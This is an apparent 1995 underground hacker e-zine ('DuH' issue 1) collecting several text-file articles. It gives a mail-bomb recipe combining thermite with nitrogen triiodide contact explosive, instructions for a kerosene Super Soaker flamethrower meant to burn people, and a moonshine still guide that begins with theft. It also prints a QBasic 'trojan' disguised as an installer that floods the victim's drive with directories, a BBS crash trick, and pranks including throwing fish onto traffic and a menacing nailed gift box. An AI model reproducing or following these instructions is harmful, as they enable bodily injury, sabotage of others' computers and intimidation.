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Demented Underground Hackers 01
AUGUST '95 VOLUME I NUMBER 1
DISCLAIMER - WE the writers and Distros of DuH take NO responsiblity for the
use of this inofrmaation. All this was written for information purposes, and
take NO resposibility for damage, injury, or death.
NOTE FROM EDiTOR: Welocme to the first issue from Demented Underground
Hackers. This is our first Issue and I think were doing pretty damn good...
look for other stuff coming out soon. If you want to join fill out a app or
give me all your info Name Email Address phone position applying for etc)
and send it to me. I can be reached on any on our distros in 2I5 or can be
E-Mailed at GD666@AOL.COM. ( I know its AOL...but its a Free account.)
You May of seen 3 Paks that came out earlier well...those were Preview
packets to show what the first pak is about well...here is the whole
enchilada....Enjoy
-GRAVEDiGGER
INDEX
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TELCO ACRONYMS....................................................GRAVEDiGGER
HOTEL ENJOYMENT.........................................................SPLAT
MAiL BOMBS MADE EASY..............................................GRAVEDiGGER
ALCOHOL: FRiEND OR FOE..................................................CyBER
THE SUPERSOAKER FLAMETHROWER......................................GRAVEDiGGER
STUPiD TROJANS FOR STUPiD PEOPLE...............................SPLAT & ARCADE
FUCKiNG UP RENEGADE...............................................GRAVEDiGGER
PHUN WiTH DEAD FiSH...............................................GRAVEDiGGER
TELCO ACRONYMS
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this is a list of some Telco acronyms and brief definitions. I left out
some of the more well known Definitions (i.e PBX, COCOTS) because if you
don't know know them...you should like stop all H/P/A/V/C activites and go
back to courioring Warez or something.
3TS - Three Tone Slope - the difference in loss between 1004 Hz, 404 Hz and
2804 Hz AKA Attenuation Distortion.
AC - Access Code - A uniform set digit code assigned by an Exchange Carrier
to an individual customer.
AC - Area Code - A geographic area established for the provision and
administrations of communications service. It encompasses one or more
designated exchanges, which are grouped to serve common social, economic
and other services. Synonymous with Local Access Transport area (LATA).
ACD - Automatic Call Distributor - Switching system that is designed to
aquire and distribute large volumes of calls to attendents to the next
available answer position.
ADU - Automatic Dialing Unix - A device which automatically generates a
predetermined set of dialing digits
AIS - Automatic Intercept System - System employing an audio-response unit
unit under control of a processor to automatically provide pertinent
infomation to callers routed to intercept.
ANI - Automatic Number Identificaltions - Automatics means for immediatly
Identifying the number of a calling subscriber
CAROT - Centralized Automatic Reporting On Trunks - This takes transmissions
and trunk measurements, Does routine tests and fowards results to
work control locations.
DCL - Digital Common Language - Found on VAX/VMS systems and it is standard
language for VAX/VMS systems.
DS - Digital Switch - A switch in which connections are established by
operations on digital signals without conversion to analog.
DSX - A digital cross connect field which can be utilized for DS1 (Digital
Switch), DS2, and DS3 level cross connections at a digital connections
EC - Exchange Carrier - A company engaged in the business of furnishing
access service in a franchised territorty (i.e. AT&T, MCI, etc.)
ESB - Emergency Service Bureau - A centriized agency to which 911 "Universal"
emergency calls are routed.
FACS - Facility Assignment and Control System - Mechanizes the service order
assignment Process.
ISDN - Integrated Services Digital Network - A planned hierarchy of digital
switching and transmission systems. Final phase of modern day
switches.
LATA - Local Access Transport Area - A geographic area for the provision and
administration of comunications service. It encompasses one or more
exchanges, which are grouped to serve common social, economic and
other purposes. Synonymous with area code.
PAD - Packet Assembler/Disassembler - Information passed through an
Information Service (i.e. BBSes, AOL, etc.), translated to the
computer's spesifications. (i.e baud differences, computer emuulations,
and protocol handshaking.)
PJ - Phase Jitter - The unwanted phase variations of a signal. Garble or
Garbage online.
ROTL - Remote Office Test Line - A way of remotely testing trunks.
RPOA - Registered Private Op. Agencies (ID of online system).
SCC - (AKA SCCS) Switch Control Center - SCC has overall responsibility for
the administration and maintenance of BOC central offices.
Responsibilites incude installation and maintenance control office for
FG B, C, and D. SCC also handles specific trouble reports.
TAMS - System where NUIs are checked by a central database when you try to
connect to an address, on GTE Telenet.
TAP - Techical Assistance Program
TASC - Telecommunications Alarm Surveillance and Control - Provides
centralized surveilence of telco equipment
TD - Terminating Direction - The use od Access Service for the completion of
a call from a IC (Interexchange Carrier) location to a end user.
TDD- Telecommunications Devices for the Deaf
Ok I hope this little definitions help expand you knowledge of the Telco or
some shit like that ok well later
-GRAVEDiGGER
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Scribbled by Splat
Well, after my recent stay at the worst hotel I've ever seen, I thought
I should tell everyone how to fully enjoy your stay.
<Nudge Nudge, Grin , VBG , Wink Wink :-) :-> ;-) ;-> >
(BTW , I stayed at a Howard Johnson , it sucked)
Suggested to Bring
******************
2 Screwdrivers ( Phillips Head and Flat Head )
Tone Dialer
Food Coloring
Tape
Paper
Pencil / Pen
Universal Remote Control W/ Manual
Latest DuH File ( Hmm how'd that get in there... )
Anything Else you think may be useful
What to do With This All
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Screwdrivers - Fix your loose locks.... Unscrew various things
Tone Dialer - Oh come on this has to be useful somewhere
Food Coloring - Dye the Pool various colors (Hehhe yellow = kiddie pee:-)
Tape / Paper / Pen / Pencil - Make out of order signs and put all over
Universal Remote - Use with TV, may get some more channels
Latest DuH File - Read it , photocopy it and give to Hotel Staff
Miscellaneous
*************
Screwed Down Remote Controls
----------------------------
Either somehow get the screwdriver close to the screw Or take the remote
ends firmly with both hands , and pull up hard and quick , it should come
out , now your not restricted to the thing stuck on the desk
Security (Officer Rent-A-Cop)
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Look suspicious...Piss him off...Talk to him too much...
Ask everything and anything...Show him you can break in another room
And whatever else
Free Breakfast Foods
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Take it All , Open it all or something
Inner-Hotel Phones (Courtesy Phones)
------------------------------------
Well they probably wont have a keypad so use your tone dialer
Magazines / Newspapers
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Take them all , sell them out front as your own
Well thats all I hope you enjoyed reading. Once again this is only a VERY
short list of things, use your imagination
-=[Splat]=-
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MAiL BOMBS MADE EASY
====================
Letter Bombs are fun. and a perfect way to perminaty fuck someone that you
dislike.
Letter bombs consists of a mild version of thermite and and touch explosives.
I'm gonna show you how to make both.
First the Thermite:
Mix iron with aluminum fillings. the mixture should be 75% aluminum
and 25% iron. and now you have the iron filling to make the thermite
Crush the iron fillings into fine powder, and heat it in a cast iron
pot untill it turns red. Now mix with pure Allumium fillinos which
can be bought or filed down by hand from an alumium bar or tube.
You should mix this at 8 grams of iron fillings to 3 grams of
aluminum
Get a thick padded envelope and separate the layers and put the
thermite in the main part (The part where the letter would go) and
put magnesium powder in the outer layer. there is your bomb.
Ok now for the touch explosives:
Mix iodine crystals into ammonia until the iodine crystals will
not dissolve anymore. pour off the excess ammonia and dry out
the crystals on a baking sheet (like the thermite.) carefully wrap
in a bunch of paper (like a long cigarette) and place it at the top
of the envelope on top of the magnesium.
Thats it, be careful, if you so much as squeeze the touch explosives , you
will become a crispy critter,
-GâVîDiGGîâ
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ALCOHOL FRiEND OR FOE?
======================
First you must obtain (steal) a holding tank. I recommend those 6
gallon Alhambra water jugs which are often left on porches and in driveways
for refills. Just take it off the porch at 3:00 AM and run it home. Now,
put it where you are going to put your still. They need to be kept
together. Hide your still even if you don't have parents that will shit
when they see it. This is illegal by federal law, and you could get busted
pretty well. Make your still so it is collapsable and you can fit it all
into a small box. Hide the box in your room. When you are going to use
the still, take it out and hide it behind some bushes where a passing state
trooper, snoopy neighbor, or phed busting you for pirated games won't see
it. Keep the Alhambra jug where the still is going to be, 'cause they are
way too big to hide anywhere.
Also, keep your still somewhere with a good breeze or away from people
who will smell it. When you are fermenting the shit, it will smell like
puke or even worse. When you are distilling it, your heater might put off
smoke. The alcohol will smell like alcohol, and heated mash smells worse
than shit.
Now go buy a shitload of fresh or frozen whatever (check the list
below). Frozen corn will be easiest to deal with because it is already cut
off the cob and is very forgiving with beginners. Besides, it's all part
of a great American tradition: Moonshine!
+--------------------------+------------------------+
| Ingredient | Product |
|--------------------------|------------------------|
| Rye or Potatoes | Vodka |
| Molasses or Sugar Cane | Rum |
| Corn | Moonshine |
| Wheat or Rye | Whiskey |
| Barley or Rice | Beer |
| Grapes | Wine |
| Apple Juice | Hard Cider |
| Sake | Rice |
+--------------------------+------------------------+
Put about 10 bags of corn in each jug and no more, because the carbon
dioxide being released sometime pushes it up and out and you could get the
shit all over the ground. What a waste. Besides, it will start to rot in
the ground and smell even worse.
Anyway, add just enough luke-warm water to cover the surface and leave
the stuff exposed to air for about 2 weeks at room temperature. After a few
days it will bubble and look and smell like puke, but that's no problem. It
should do that. Just be sure you've got adequate ventilation.
Installing a small fan in your Alhambra jug is no problem. Drilling
holes in the sides of plastic with a sharp drill bit is easy. Drill two
holes near the top, where there won't be any corn (fans do tend to heat up
and short circuit when exposed to water) and insert two tubes. Make the fan
blowing air into your jug, and not out. The mist from the mash will wear it
down after a while.
Now, for the still. This is complicated, so bear with us. First, take
a big beaker or something like it and put a big tube going out the top. You
should glue around this tube, so none of the gas will escape. Now, run a
smaller tube into the side of the bigger tube, and connect a valve to it.
Now, connect the other side of the valve to your huge thing of fermented
whatever, but make sure the tube connects at the bottom and goes straight
across so the pressure of the water will push it along the pipe (pumps get
too messy). I mount my Alhambra jug on bricks, so now the whole thing looks
like this:
| | |
Fermented | __ __ | |
Shit |_____|______| |
___________/----|_|-----, |
| | Valve |--|
|------| / \
|Bricks| / \
|------| /Beaker\
|______| (________)
Now, bend the big pipe around, so it is pointing down at a 45 degree
angle. Connect a bigger pipe to it. This will be the condenser. Connect
a small pipe leading out of the condenser to a big cup or something that you
will catch your 200 proof alcohol in. Also, make a rack to put the beaker
on, so you can put a can of sterno or a bunsen burner under it. I would
reccomend putting a thermometer inside the beaker, so you can leave the
temprature just above the boiling point of alcohol. If you don't, you won't
get very strong alcohol.
________
| / ____ \
Fermented | __ __ / / \ \/\
Shit |_____|______| | \ \
___________/----|_|-----, | /cond-\
| | Valve |--| \ enser>
|------| / \ \ /
|Bricks| / \ \ /
|------| /Beaker\ \ \_____________
| | (________) \-------------,|
|------| / /\ \ ^ Pipe ^ ||
| | | \/ | |___________|
|------| | __||__ | | Alcohol |
|______| | |Sterno| | \_________/
Everything should be a little farther apart than depicted in the
picture, but I only wanted to use 60 columns (80 columns with 1 inch
margins). However, the longer the tube leading away from the beaker to the
condenser, the longer the distillation process will take, so keep that quite
close. If you get the alcohol too close to the flame, it might evaporate.
Keep that at the end of a long pipe.
Now, there is only one last step. Take a very long length of surgical
tubing (the stuff they make water weenies out of) and wrap it around the
condenser, leaving almost no space in between coils. I usually wrap some
duct tape around the tubing so it keeps it in place and insulates it a bit.
Now, run one end of the tubing to mom's flower garden and the other end to a
valve. Connect the other end of the valve to a hose or some other cold water
source. Don't do anything stupid like using liquid nitrogen instead of
water 'cause it won't speed up the distilling process. This is what the
finished still should look like:
________
| / ____ \ ______
Fermented | __ __ / / \ \/,----- -=> Heated
Shit |_____|______| | \ / \ __ __ Water
___________/----|_|-----, | / / / \____|__
| | Valve |--| \/ / / >--|_|- <=- Cold
|------| / \ \/ / / Valve Water
|Bricks| / \ \/ /
|------| /Beaker\ \ \_____________
| | (________) \-------------,|
|------| / /\ \ ^ Pipe ^ ||
| | | \/ | |___________|
|------| | __||__ | | Alcohol |
|______| | |Sterno| | \_________/
A friend of mine was going to be doing a lot of distilling 'cause he
made a HUGE still. He was going first-class. He lived near a creek that
stayed pretty cool, so he was going to figure out how to use that unlimited
supply of water. The creek grew plenty of bushes, so he hid his still in
them. He even painted the valves green and stuck them out of the bushes and
glued leaves onto them so nobody could tell it was a still. But he still
didn't have any water. He couldn't have a small electric pump, 'cause he
didn't have any electricity.
As it turns out, he now has 4 lengths of surgical tubing going down to
the water, around his (superhuge) condenser. He made a rock and concrete
dam about 3.5 feet high, to get a fast stream of suction. He then ran the
tubes down to below the dam, and sucked on them. He siphons the water up
and out of the creek, through the condenser, and back into the creek. His
still is awesome! That thing can run as much as he wants it to, 'cause he
isn't wasting any water, and it won't show up on any water bill.
If you are going to be distilling a lot of stuff, you better make a
tube going out of the bottom of the beaker so you can dump out the water and
garbage and every now and then. Of course, connect it to a valve, so you
won't loose any precious alcohol that's trying to turn into steam in the
beaker. Make sure any tubes (like this one) aren't made out of glass and
can melt. It's bad when tubes melt, 'cause that means you have to rebuild
the still almost from scratch.
Now that you've got it all set up and the corn (or whatever) is
fermented and hooked up to the beaker, turn the valve on a bit to drip some
puke of your Alhambra jug into your beaker. Turn on the sterno or bunsen
burner to a high flame so it will heat up the beaker. Turn on the cold-
water valve so you have cold water flowing around the condenser at a
trickle. If the water coming out of the condenser is cold, turn the valve
so even less water is coming out, because you don't want to use too much
water. But, if it's warm, it's not doing its job. Keep the water coming
out about lukewarm.
As this thing's just starting up, keep a good eye on your thermometer.
You want to keep the temperature just above the boiling point of alcohol
(which is less than the boiling point of water: 212 degrees). This is so
you can separate the water from the alcohol by turning only the alcohol
into steam, and you can get better stuff. If you're not sure of the boiling
point of alcohol, ask your science teacher, or look it up, 'cause I don't
know, either.
Now, watch it, and adjust the valves so the fermented stuff coming out
of the Alhambra jug just equals the steam going up the pipe, and it won't
fill up or boil dry. Adjust the cold water valve so the water coming out of
the surgical tubing is slightly warm. Now, wait. Read a book or download
another Six Feet Under production, but always keep an eye on the still.
When the Alhambra jug is empty and the beaker is dry, you are done. Don't
expect this to go very quick, however.
If you like almost pure alcohol, distill it again. If you do it right,
you could have no water at all inside your liquid high. However, even I
haven't been able to get a batch that good. All it takes is practice and
getting to know your still. They all have different personalities.
You now have around 198 proof ethyl alcohol in that collecting cup.
Pour the alcohol through activated charcoal to remove that nasty shit that
makes you retarded and blind. The stuff is now safe to drink, but don't.
One swig of 200 proof alcohol will probably kill you. 150 proof is only
for experienced drinkers (derelicts). The highest proof I've ever had is
138, and it must have been the worst experience of my life.
Now, mix it in with about 3 parts alcohol and 5 parts Kool-Aid or
distilled water or something. The more Kool-Aid or water, the less the
proofage. To give you an idea, beer is around 6 proof, wine coolers are
around 12, and wine is around 20. I wouldn't reccomend more than 100 proof
at all. If this is your first time, make sure you have a little bit alcohol
and a shitload of Kool-Aid. You probably won't notice the taste or overdose
that way.
If it goes wrong, keep trying. Usually the first time, the stuff will
taste like shit and be almost all water. It just takes some practice. Also,
proof is roughly percentage times 2. 50% alcohol is 100 proof alcohol. 100%
is way too high to drink. Never go above 75 percent alcohol (3 parts alcohol,
1 part something else), which is 150 proof. That shit could kill you.
CYbER
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THE SUPERSOAKER FLAMETHROWER
==============================
OK THiS SHiT iS REALLY EAST TO DO. FiRST i SHOULD SAY THAT THiS iS VERY
DANGEROUS AND iT IS REAL EASY TO BURN YOUR SELF....BUT EASiER TO BURN SOME-
ONE ELSE <heheh>
OK YOU NEED:
1 SUPER SOAKER (REALLY DOESN'T MATTER WHAT SiZE, BUT iT SHOUD BE a
SS 50 OR GREATER)
KEROSENE.
A WiNDPROOF LiGHTER (LikE A ZiPPO oR a CHEAPY ONE LiKE THAT)
OK REALLY ALL YOU DO iS FiLL THE SUPERSOAKER WiTH THE KEROSENE (YOU CAN
EXPERIMENT WiTH THiS, GASOLiNE DOES WORK, BUT iS HARDER TO USE). STRIKE THE
LiGHTER AND PLACE ON LiKE A WALL OR SOMETHING ABOUT 2-3 iNCHES AWAY FROM THE
NOZZLE. PUMP AND SPRAY AND MAKE FLAMB. WARNiNG, IT IS LiKELY THAT THE SUPER
SOAKER WiLL START MELTiNG. iF AND WHEN THiS OCCURS, DROP AND RUN, 'CAUSE THE
SUPER SOAKER WiLL LiKELY EXPLODE. i'VE BEEN WORKiNG ON FiXiNG THAT LiTTLE
PROBLEM, BUT NO SUCCESS AS OF YET. OH WELL HAVE FUN!
GâVîDGGîâ
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Stupid Trojans For Stupid People
By Splat
Technical Expertice by ArCadE
DuH and all of it's members take NO RESPONSIBILITY what so ever for anything
which may occur due to the procedures listed in this text.
If your gonna point the finger at us, delete this file now.
Or format your hard drive (it's faster <g>)
What is this ?
^^^^^^^^^^^^^^
Ok, well, we're gonna show you people how to make a simple trojan horse
with basic programing. It's not really a trojan horse but a small prank
you can pull on someone you don't really like, or care about <g>.
Needed For Class
^^^^^^^^^^^^^^^^
Well for today's class we will need.....
QBasic - The crappy one that comes with DOS
An IQ of at LEAST 2 <Hehe> - more would help or course
A program that complies Basic programs into .EXE's (Optional)
(Quick Basic 4.5 has it - you might have to get this from some
warez board)
Who's Gonna be dumb enough to run this?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Well you should really only give this to lamers who have no idea what
they're doing. Cause if you give it to someone who might be bigger than
you ..... well .... read the legal mumbo-jumbo at the top.
What is the basic idea of the program?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
It creates a bunch of directories (you specify how many) on the root
directory, I also tried this once and it also did some weird mirroring of
my root. I can't explain it but it really was strange. Oh, well more
trouble for the victim.
I'm ready to program
^^^^^^^^^^^^^^^^^^^^
Here is the program itself, modify it and change it all you want.
' DIR Maker (compiled in Qbasic or something like that)
Print "Welcome to Something Installation Utility"
Print "This Installation can vary from 20 minutes give or take"
Print "Please feel free to go get a drink or something"
Shell "Cd\"
For a = 1 to 100000 ' Make 100000 directories
a$=str$(a) ' Change integer into a string variable
c$="md" + a$ + "haha" ' Make command in variable c$ (MD <num>haha)
Shell c$ ' Execute variable c$
Next a ' Repeat a number of times
Cls
Print "Program Installed"
Print "Have a nice day!"
System ' Exit Qbasic to DOS
How to screw somebody over <g>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If you have Qbasic (the one that came with DOS 5.0 or better)
then create a batch file (We _HOPE_ you know how to do that!) that
executes the line: "QBASIC /RUN PROGRAM.BAS"
If you have a BAT to COM program you can use that ....
If you have anything better (Quick Basic 4.5, Microsoft Basic or anything
that compiles basic programs into stand-alone .EXE's then .... well DuH
(Sorry, bad pun), just give the poor sole the .EXE.
**** RING *****
CLASS DISMISSED!
You've now completed Stupid Trojans for Stupid People 101
-=[Splat]=- [DuH]
-=[ArCadE]=- [DuH]
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FUCKiNG UP RENEGADE
====================
OK, This is a neat little trick that fucks up RENEGADE...and there's only one
way to prevent this...turn off accept New users option. it a nifty little
trick that one of my buddies showed me....
1.)Log on as New
2.)type short message and end in %UN (i.e FUCK YOU %UN)
3.)Finish off the rest of the info using Fake info.
4.)now the fun part ase soon as you finish and it it will just
display "Fuck You (If you entered fuck you.)" continulessly.
5.)Hang up by using ALT-H; the board will be down until the Sysop
reboots the computer.
HOW IT WORKS - for those not familiar with Renegade...%UN is a MCI code
for User Name. When the the computer comes to the save info screen...it will
read the user name and call the user name so it will loop.when you hang the
will not reset for next call because the system has to reach the end of a
string before it can hang up but there is NO end so in never hangs up. if
you try to call back all the system will not pick up.
This really is not a Hack but is cool to use on lame bbses and to piss off
sysops that you dislike...our you can even frame someone for it.
Have Fun
GRAVEDiGGER
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PHUN WiTH DEAD FiSH
===================
Ok I got REALLY board and wanted to write a "Phun with" file on something
that no one has written on so i thought of Dead Fish. so here a some cool
things to do with dead fish.
1.-Drop a dead fish into a toilet bowl in school or the place you work and
watch as the person that discovers the fish trys to explain that there is
a dead fish floting in the toilet.
2.-Get a fish and drop it in someone you dislike's car. Hide it under the
seat if you can. in a week anyone that goes in will pass out from the
smell.
3.-Find someone that smokes. get a decomposing fish and put a cigarette
in its mouth and put it on his/her porch witha sign saying "This could
happen to you."
4.-get a big bucket of them and go to a overpass and start flinging them on
to the road below. If you care not seen the driver will think it is
raining fish or something and freak out.
5.-get a Heart Shaped Box and put a fish in there..and put it on you ex-
girlfriend's/boyfriend's or ex wife's/Husband's porch, with and note
saying his name and like "from Guess who." (If you want to be super
obnoxious, you can put flowers around it and put a nail through it.)
6.-Go down to Fishing places with a bucket of nasty rotting fishes and when
the fisherperson isn't looking dump out his fish and put in your fish.
7.- Get A Big fish and put a collar and a dog leash on take it home and be
like "It followed me home ... Can I keep it?"
8.-Make that chinese dish where they cook the fish without cutting the head
off and serve it to you family and see how many people will eat it (Could
you eat a fish when its sitting on the table looking right back at you?)
`
9.)Play Fish Baseball...without telling the basemen or outfielders that your
using a fish..not a ball and watch the reactions when they catch a fish
instead of a ball!!!
10.)Plant a dead fish in you brother's - sister's bed, or even your spouse's,
and see what happens when they wake up with a fish in their bed.(best
fish to use is like a small shark (4-5ft) or a really big and really ugly
fish.)
I hope this gives you some enterainment for a while...I know it sure gave
me a hell of a lot <hehe>. See Fish can be fun too.
-GâVîDiGGîâ
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That concludes the First issue from DuH i hope you enjoyed this issue.
If you want to join then contact me. Criticism is welcome
Have a Great Bungholio of a Day.
GREETS - Nukem - The Ansi is great
PTS, AcME, CAFBL, HOE, CMW
